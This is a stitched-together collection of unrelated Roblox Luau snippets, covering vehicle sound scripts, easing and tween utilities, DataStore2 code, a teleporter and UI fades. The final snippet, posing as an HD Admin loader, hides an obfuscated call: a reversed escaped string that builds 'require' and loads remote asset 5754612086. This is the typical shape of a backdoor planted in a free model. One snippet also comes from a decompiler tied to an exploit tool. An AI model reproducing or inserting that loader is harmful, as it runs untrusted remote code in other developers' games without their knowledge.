local index = (match.index :: any) + offset
table.insert(args, index)
local replace = replFn(table.unpack(args))
table.insert(replaceArr, {
from = index,
length = #m,
value = replace,
})
-- ROBLOX FIXME Luau: analyze doesn't recognize match.index as a number
offset += #m + (match.index :: any) - 1
v = str:sub(offset + 1)
match = regExp:exec(v)
end
local result = str:sub(1)
for _, rep in ipairs(Array.reverse(replaceArr)) do
local from, length, value = rep.from, rep.length, rep.value
local prefix = result:sub(1, from - 1)
local suffix = result:sub(from + length)
result = prefix .. value .. suffix
end
return result
end
return {
stringReplace = stringReplace,
}
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 220 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
-- p = period
-- a = amplitud |
local function inOutElastic(t,a,p, b, c, d)
b,c,d = default(b,c,d)
if t == 0 then return b end
t = t / d * 2
if t == 2 then return b + c end
if not p then p = d * (0.3 * 1.5) end
if not a then a = 0 end
local s
if not a or a < abs(c) then
a = c
s = p / 4
else
s = p / (2 * pi) * asin(c / a)
end
if t < 1 then
t = t - 1
return -0.5 * (a * pow(2, 10 * t) * sin((t * d - s) * (2 * pi) / p)) + b
else
t = t - 1
return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p ) * 0.5 + c + b
end
end
|
-- Class that provides body orientation functionality to a given rig |
local OrientableBody = {}
OrientableBody.__index = OrientableBody
local function waitForDescendantWhichIsA(parent: Instance, name: string, className: string)
for _, descendant in ipairs(parent:GetDescendants()) do
if descendant.Name == name and descendant:IsA(className) then
return descendant
end
end
while true do
local descendant = parent.DescendantAdded:Wait()
if descendant.Name == name and descendant:IsA(className) then
return descendant
end
end
end
function OrientableBody.new(character: Model)
local self = {}
self.character = character
task.spawn(function()
self.neck = waitForDescendantWhichIsA(character, "Neck", "Motor6D")
self.waist = waitForDescendantWhichIsA(character, "Waist", "Motor6D")
end)
self.motor = Otter.createGroupMotor({
horizontalAngle = 0,
verticalAngle = 0,
})
self.motor:onStep(function(values)
local waistWeight = config.getValues().waistOrientationWeight
local neckWeight = 1 - waistWeight
self:applyAngle(self.neck, values.horizontalAngle * neckWeight, values.verticalAngle * neckWeight)
self:applyAngle(self.waist, values.horizontalAngle * waistWeight, values.verticalAngle * waistWeight)
end)
return setmetatable(self, OrientableBody)
end
function OrientableBody:applyAngle(joint, horizontalAngle, verticalAngle)
if not joint then
return
end
local horizontalRotation = CFrame.Angles(0, horizontalAngle, 0)
local verticalRotation = CFrame.Angles(verticalAngle, 0, 0)
joint.C0 = CFrame.new(joint.C0.Position) * horizontalRotation * verticalRotation
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
for i,v in pairs(car.Body.CarName.Value.VehicleSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.Body.CarName.Value.VehicleSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.Body.CarName.Value.VehicleSeat:WaitForChild("Rev")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
else
car.Body.CarName.Value.VehicleSeat.Rev.Pitch = Pitch
end
end
|
--[[
OrbitalCamera - Spherical coordinates control camera for top-down games
2018 Camera Update - AllYourBlox
--]] |
wait(999999999999999999999) |
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{35,39,41,30,56,58},t},
[49]={{35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{35,39,41,30,56,58,20,19},t},
[59]={{35,39,41,59},t},
[63]={{35,39,41,30,56,58,23,62,63},t},
[34]={{35,34},t},
[21]={{35,39,41,30,56,58,20,21},t},
[48]={{35,34,32,31,29,28,44,45,49,48},t},
[27]={{35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{35,34,32,31},t},
[56]={{35,39,41,30,56},t},
[29]={{35,34,32,31,29},t},
[13]={n,f},
[47]={{35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{35,34,32,31,29,28,44,45},t},
[57]={{35,39,41,30,56,57},t},
[36]={{35,37,36},t},
[25]={{35,34,32,31,29,28,27,26,25},t},
[71]={{35,39,41,59,61,71},t},
[20]={{35,39,41,30,56,58,20},t},
[60]={{35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{35,39,41,59,61,71,72,76,73,75},t},
[22]={{35,39,41,30,56,58,20,21,22},t},
[74]={{35,39,41,59,61,71,72,76,73,74},t},
[62]={{35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{35,37},t},
[2]={n,f},
[35]={{35},t},
[53]={{35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{35,39,41,59,61,71,72,76,73},t},
[72]={{35,39,41,59,61,71,72},t},
[33]={{35,37,36,33},t},
[69]={{35,39,41,60,69},t},
[65]={{35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{35,34,32,31,29,28,27,26},t},
[68]={{35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{35,39,41,59,61,71,72,76},t},
[50]={{35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{35,34,32,31,29,28,27,26,25,24},t},
[23]={{35,39,41,30,56,58,23},t},
[44]={{35,34,32,31,29,28,44},t},
[39]={{35,39},t},
[32]={{35,34,32},t},
[3]={n,f},
[30]={{35,39,41,30},t},
[51]={{35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{35,39,41,59,61},t},
[55]={{35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{35,38,42},t},
[40]={{35,40},t},
[52]={{35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{35,39,41},t},
[17]={n,f},
[38]={{35,38},t},
[28]={{35,34,32,31,29,28},t},
[5]={n,f},
[64]={{35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[
Native:
tween = Tween.FromService(instance, tweenInfo, properties)
See Wiki page on Tween object for methods and such
Custom:
tween = Tween.new(tweenInfo, callbackFunction)
tween.TweenInfo
tween.Callback
tween.PlaybackState
tween:Play()
tween:Pause()
tween:Cancel()
tween.Completed(playbackState)
tween.PlaybackStateChanged(playbackState)
Custom Example:
tween = Tween.new(TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, true, 0), function(n)
print(n)
end)
tween:Play()
tween.Completed:Wait()
--]] |
local Tween = {}
Tween.__index = Tween
Tween.Easing = require(script:WaitForChild("Easing"))
function Tween.new(tweenInfo, callback)
do
-- Verify callback is function:
assert(typeof(callback) == "function", "Callback argument must be a function")
-- Verify tweenInfo:
local typeOfTweenInfo = typeof(tweenInfo)
assert(typeOfTweenInfo == "TweenInfo" or typeOfTweenInfo == "table", "TweenInfo must be of type TweenInfo or table")
-- Defaults:
if (typeOfTweenInfo == "table") then
if (tweenInfo.Time == nil) then tweenInfo.Time = 1 end
if (tweenInfo.EasingStyle == nil) then tweenInfo.EasingStyle = Enum.EasingStyle.Quad end
if (tweenInfo.EasingDirection == nil) then tweenInfo.EasingDirection = Enum.EasingDirection.Out end
if (tweenInfo.RepeatCount == nil) then tweenInfo.RepeatCount = 0 end
if (tweenInfo.Reverses == nil) then tweenInfo.Reverses = false end
if (tweenInfo.DelayTime == nil) then tweenInfo.DelayTime = 0 end
end
end
local completed = Instance.new("BindableEvent")
local playbackStateChanged = Instance.new("BindableEvent")
local self = setmetatable({
TweenInfo = tweenInfo;
Callback = callback;
PlaybackState = Enum.PlaybackState.Begin;
Completed = completed.Event;
PlaybackStateChanged = playbackStateChanged.Event;
_id = "tween_" .. game:GetService("HttpService"):GenerateGUID(false);
_playing = false;
_paused = false;
_completed = completed;
_playbackStateChanged = playbackStateChanged;
_elapsedTime = 0;
_repeated = 0;
_reversing = false;
_elapsedDelayTime = 0;
}, Tween)
return self
end
function Tween:ResetState()
self._playing = false
self._paused = false
self._elapsedTime = 0
self._repeated = 0
self._reversing = false
self._elapsedDelayTime = 0
end
function Tween:SetPlaybackState(state)
local lastState = self.PlaybackState
self.PlaybackState = state
if (state ~= lastState) then
self._playbackStateChanged:Fire(state)
end
end
function Tween:Play()
if (self._playing and not self._paused) then return end
self._playing = true
self._paused = false
-- Resolve easing function:
local easingFunc
if (typeof(self.TweenInfo) == "TweenInfo") then
easingFunc = Tween.Easing[self.TweenInfo.EasingDirection.Name][self.TweenInfo.EasingStyle.Name]
else
local dir, style
dir = typeof(self.TweenInfo.EasingDirection) == "EnumItem" and self.TweenInfo.EasingDirection.Name or self.TweenInfo.EasingDirection
style = typeof(self.TweenInfo.EasingStyle) == "EnumItem" and self.TweenInfo.EasingStyle.Name or self.TweenInfo.EasingStyle
easingFunc = Tween.Easing[dir][style]
if (not self.TweenInfo.RepeatCount) then
self.TweenInfo.RepeatCount = 0
end
end
local tick = tick
local elapsed = self._elapsedTime
local duration = self.TweenInfo.Time
local last = tick()
local callback = self.Callback
local reverses = self.TweenInfo.Reverses
local elapsedDelay = self._elapsedDelayTime
local durationDelay = self.TweenInfo.DelayTime
local reversing = self._reversing
local function OnCompleted()
callback(easingFunc(duration, 0, 1, duration))
game:GetService("RunService"):UnbindFromRenderStep(self._id)
self.PlaybackState = Enum.PlaybackState.Completed
self._completed:Fire(self.PlaybackState)
self:ResetState()
end
local function IsDelayed(dt)
if (elapsedDelay >= durationDelay) then return false end
elapsedDelay = (elapsedDelay + dt)
self._elapsedDelayTime = elapsedDelay
if (elapsedDelay < durationDelay) then
self:SetPlaybackState(Enum.PlaybackState.Delayed)
else
self:SetPlaybackState(Enum.PlaybackState.Playing)
end
return (elapsedDelay < durationDelay)
end
-- Tween:
game:GetService("RunService"):BindToRenderStep(self._id, Enum.RenderPriority.Camera.Value - 2, function()
local now = tick()
local dt = (now - last)
last = now
if (IsDelayed(dt)) then return end
elapsed = (elapsed + dt)
self._elapsedTime = elapsed
local notDone = (elapsed < duration)
if (notDone) then
if (reversing) then
callback(easingFunc(elapsed, 1, -1, duration))
else
callback(easingFunc(elapsed, 0, 1, duration))
end
else
if ((self._repeated < self.TweenInfo.RepeatCount) or reversing) then
if (reverses) then
reversing = (not reversing)
self._reversing = reversing
end
if ((not reverses) or (reversing)) then
self._repeated = (self._repeated + 1)
end
if (not reversing) then
self._elapsedDelayTime = 0
elapsedDelay = 0
end
self._elapsedTime = 0
elapsed = 0
else
OnCompleted()
end
end
end)
end
function Tween:Pause()
if ((not self._playing) or (self._paused)) then return end
self._paused = true
self:SetPlaybackState(Enum.PlaybackState.Paused)
game:GetService("RunService"):UnbindFromRenderStep(self._id)
end
function Tween:Cancel()
if (not self._playing) then return end
game:GetService("RunService"):UnbindFromRenderStep(self._id)
self:ResetState()
self:SetPlaybackState(Enum.PlaybackState.Cancelled)
self._completed:Fire(self.PlaybackState)
end
function Tween.fromService(...)
return game:GetService("TweenService"):Create(...)
end
Tween.FromService = Tween.fromService
Tween.New = Tween.new
return Tween
|
-- A function to play fire sounds. |
function PlayFireSound()
local NewSound = FireSound:Clone()
NewSound.Parent = Handle
NewSound:Play()
Debris:AddItem(NewSound, NewSound.TimeLength)
end
function PlayReloadSound()
local NewSound = Handle.Reload:Clone()
NewSound.Parent = Handle
NewSound:Play()
Debris:AddItem(NewSound, NewSound.TimeLength)
end
|
--- Creates a link between two attachments. The module will constantly raycast between these two attachments.
-- @param attachment1 Attachment object (can have a group attribute)
-- @param attachment2 Attachment object |
function Hitbox:LinkAttachments(attachment1: Attachment, attachment2: Attachment)
local group: string? = attachment1:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE)
local point: Point = self:_CreatePoint(group, Hitbox.CastModes.LinkAttachments)
point.Instances[1] = attachment1
point.Instances[2] = attachment2
table.insert(self.HitboxRaycastPoints, point)
end
|
--[=[
One of the most useful functions this combines the latest values of
observables at each chance!
```lua
Rx.combineLatest({
child = Rx.fromSignal(Workspace.ChildAdded);
lastChildRemoved = Rx.fromSignal(Workspace.ChildRemoved);
value = 5;
}):Subscribe(function(data)
print(data.child) --> last child
print(data.lastChildRemoved) --> other value
print(data.value) --> 5
end)
```
:::tip
Note that the resulting observable will not emit until all input
observables are emitted.
:::
@param observables { [TKey]: Observable<TEmitted> | TEmitted }
@return Observable<{ [TKey]: TEmitted }>
]=] |
function Rx.combineLatest(observables)
assert(type(observables) == "table", "Bad observables")
return Observable.new(function(sub)
local pending = 0
local latest = {}
for key, value in pairs(observables) do
if Observable.isObservable(value) then
pending = pending + 1
latest[key] = UNSET_VALUE
else
latest[key] = value
end
end
if pending == 0 then
sub:Fire(latest)
sub:Complete()
return
end
local maid = Maid.new()
local function fireIfAllSet()
for _, value in pairs(latest) do
if value == UNSET_VALUE then
return
end
end
sub:Fire(Table.copy(latest))
end
for key, observer in pairs(observables) do
if Observable.isObservable(observer) then
maid:GiveTask(observer:Subscribe(
function(value)
latest[key] = value
fireIfAllSet()
end,
function(...)
pending = pending - 1
sub:Fail(...)
end,
function()
pending = pending - 1
if pending == 0 then
sub:Complete()
end
end))
end
end
return maid
end)
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_SoundsMisc")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
script:WaitForChild("Rel")
script:WaitForChild("Start")
script.Parent.Values.Gear.Changed:connect(function() mult=1 end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,0,script.Rel.Volume,true)
handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false)
handler:FireServer("playSound","Rel")
car.DriveSeat:WaitForChild("Rel")
car.DriveSeat:WaitForChild("Start")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.PreOn.Value then
handler:FireServer("playSound","Start")
wait(4.0)
else
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1))
RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
end
if FE then
handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
else
car.DriveSeat.Rel.Volume = RelVolume
car.DriveSeat.Rel.Pitch = RelPitch
end
end
|
--Made by Luckymaxer |
Model = script.Parent
Debris = game:GetService("Debris")
FadeRate = 0.025
Rate = (1 / 15)
Removing = false
function RemoveModel()
if Removing then
return
end
local Parts = {}
for i, v in pairs(Model:GetChildren()) do
if v:IsA("Model") then
table.insert(Parts, v)
end
end
if #Parts == 0 then
Removing = true
Model.Name = ""
Debris:AddItem(Model, 0.5)
end
end
Model.ChildRemoved:connect(function(Child)
RemoveModel()
end)
RemoveModel()
while true do
for i, v in pairs(Model:GetChildren()) do
if v:IsA("Model") then
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("BasePart") and vv.Transparency < 1 then
local NewTransparency = (vv.Transparency + FadeRate)
vv.Transparency = ((NewTransparency <= 1 and NewTransparency) or 1)
if vv.Transparency >= 1 then
for iii, vvv in pairs(vv:GetChildren()) do
if vvv:IsA("Light") or vvv:IsA("Fire") or vvv:IsA("Smoke") or vvv:IsA("ParticleEmitter") then
vvv.Enabled = false
end
end
end
end
end
end
end
wait(Rate)
end
|
-- This next line is required as the script might run before the chat is created and loaded. |
repeat wait() until StarterGui:GetCore("ChatWindowSize") ~= nil
|
-- Data store for tracking purchases that were successfully processed |
local purchaseHistoryStore = DataStoreService:GetDataStore("PurchaseHistory")
MarketplaceService.PromptProductPurchaseFinished:Connect(function(UserId , assetId , wasPurchased )
_G.FinishedPurchase(UserId,assetId,wasPurchased)
end)
|
-- ROBLOX deviation: omitted imports for sparseArrayEquality |
local subsetEquality = Utils.subsetEquality
local typeEquality = Utils.typeEquality
|
--[[**
<description>
Run this once to combine all keys provided into one "main key".
Internally, this means that data will be stored in a table with the key mainKey.
This is used to get around the 2-DataStore2 reliability caveat.
</description>
<parameter name = "mainKey">
The key that will be used to house the table.
</parameter>
<parameter name = "...">
All the keys to combine under one table.
</parameter>
**--]] |
function DataStore2.Combine(mainKey, ...)
for _, name in pairs({...}) do
combinedDataStoreInfo[name] = mainKey
end
end
function DataStore2.ClearCache()
DataStoreCache = {}
end
function DataStore2.SaveAll(player)
if DataStoreCache[player] then
for _, dataStore in pairs(DataStoreCache[player]) do
if dataStore.combinedStore == nil then
dataStore:Save()
end
end
end
end
function DataStore2.PatchGlobalSettings(patch)
for key, value in pairs(patch) do
assert(Settings[key] ~= nil, "No such key exists: " .. key)
-- TODO: Implement type checking with this when osyris' t is in
Settings[key] = value
end
end
function DataStore2.__call(_, dataStoreName, player)
assert(
typeof(dataStoreName) == "string" and typeof(player) == "Instance",
("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}")
:format(
typeof(dataStoreName),
typeof(player)
)
)
if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
return DataStoreCache[player][dataStoreName]
elseif combinedDataStoreInfo[dataStoreName] then
local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)
dataStore:BeforeSave(function(combinedData)
for key in pairs(combinedData) do
if combinedDataStoreInfo[key] then
local combinedStore = DataStore2(key, player)
local value = combinedStore:Get(nil, true)
if value ~= nil then
if combinedStore.combinedBeforeSave then
value = combinedStore.combinedBeforeSave(clone(value))
end
combinedData[key] = value
end
end
end
return combinedData
end)
local combinedStore = setmetatable({
combinedName = dataStoreName,
combinedStore = dataStore,
}, {
__index = function(_, key)
return CombinedDataStore[key] or dataStore[key]
end
})
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = combinedStore
return combinedStore
end
local dataStore = {}
dataStore.Name = dataStoreName
dataStore.UserId = player.UserId
dataStore.callbacks = {}
dataStore.beforeInitialGet = {}
dataStore.afterSave = {}
dataStore.bindToClose = {}
dataStore.savingMethod = SavingMethods[Settings.SavingMethod].new(dataStore)
setmetatable(dataStore, DataStoreMetatable)
local event, fired = Instance.new("BindableEvent"), false
game:BindToClose(function()
if not fired then
spawn(function()
player.Parent = nil -- Forces AncestryChanged to fire and save the data
end)
event.Event:wait()
end
local value = dataStore:Get(nil, true)
for _, bindToClose in pairs(dataStore.bindToClose) do
bindToClose(player, value)
end
end)
local playerLeavingConnection
playerLeavingConnection = player.AncestryChanged:Connect(function()
if player:IsDescendantOf(game) then return end
playerLeavingConnection:Disconnect()
dataStore:SaveAsync():andThen(function()
--print("player left, saved " .. dataStoreName)
end):catch(function(error)
-- TODO: Something more elegant
--warn("error when player left! " .. error)
end):finally(function()
event:Fire()
fired = true
end)
delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
DataStoreCache[player] = nil
end)
end)
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = dataStore
return dataStore
end
DataStore2.Constants = Constants
return setmetatable(DataStore2, DataStore2)
|
------------------------------------ |
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.Torso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(1)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {};
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
v2.value = 0;
v2.event = v4.event.Boosts;
v4.event.Boosts.Event:connect(function(p1)
if type(p1) == "number" then
v2.value = p1;
return;
end;
v2.value = 0;
end);
v2.value = v4.data.Boosts;
return v2;
|
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT
--// DO NOT EDIT THIS SCRIPT |
local PlayerTools = {}
PlayerTools.Players = {
}
return PlayerTools
|
-- folders |
local powerupsFolder = replicatedStorage.Game.Powerups
local mapActivePowerupsFolder = game.ReplicatedStorage.MapSettings.Powerups
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine)
local descendants = maxAmmoFrame:GetDescendants()
local instanceInfoTables = {}
for _, item in pairs (descendants) do
local infoTable = nil
if item:IsA("ImageLabel") then
infoTable = {INSTANCE = item, PROPERTY = "ImageTransparency", OFF = {ImageTransparency = 1}, ORIGINAL = {ImageTransparency = item["ImageTransparency"]}}
elseif item:IsA("Frame") then
infoTable = {INSTANCE = item, PROPERTY = "BackgroundTransparency", OFF = {BackgroundTransparency = 1}, ORIGINAL = {BackgroundTransparency = item["BackgroundTransparency"]}}
elseif item:IsA("TextLabel") then
infoTable = {INSTANCE = item, PROPERTY = "TextTransparency", OFF = {TextTransparency = 1}, ORIGINAL = {TextTransparency = item["TextTransparency"]}}
else
continue
end
table.insert(instanceInfoTables, infoTable)
end
table.insert(instanceInfoTables, {INSTANCE = maxAmmoFrame, PROPERTY = "ImageTransparency", OFF = {ImageTransparency = 1}, ORIGINAL = {ImageTransparency = maxAmmoFrame["ImageTransparency"]}})
local VisibleTime = 4
local Queue = 0
local function updateCard()
Queue += 1
maxAmmoFrame.Visible = true
-- off
for _, infoTable in pairs (instanceInfoTables) do
local instance = infoTable["INSTANCE"]
local property = infoTable["PROPERTY"]
instance[property] = 1
end
-- on
for _, infoTable in pairs (instanceInfoTables) do
local instance = infoTable["INSTANCE"]
local original = infoTable["ORIGINAL"]
tweenService:Create(instance, tweenInfo, original):Play()
end
local start = tick()
repeat wait() until (tick() - start) > VisibleTime or Queue > 1
if Queue > 1 then Queue -= 1 return end
-- off
for _, infoTable in pairs (instanceInfoTables) do
local instance = infoTable["INSTANCE"]
local off = infoTable["OFF"]
tweenService:Create(instance, tweenInfo, off):Play()
end
local start = tick()
repeat wait() until (tick() - start) > 1 or Queue > 1
if Queue > 1 then Queue -= 1 return end
maxAmmoFrame.Visible = false
Queue -= 1
end
local function powerUpAdded(powerUp)
if powerUp.Name == "MaxAmmo" then
updateCard()
end
end
mapActivePowerupsFolder.ChildAdded:Connect(powerUpAdded)
|
--[=[
@within Streamable
@prop Instance Instance
The current instance represented by the Streamable. If this
is being observed, it will always exist. If not currently
being observed, this will be `nil`.
]=] | |
--[[Weight and CG]] |
Tune.Weight = 3968 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--Drilling Particles-- |
local drillingeffect1 = script.Parent.Drill1.PartEffect.DrillingEffect |
--[[
For information on how to setup and use HD Admin, visit:
https://devforum.roblox.com/t/HD/216819
--]]
--[[ Last synced 9/7/2022 07:34 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
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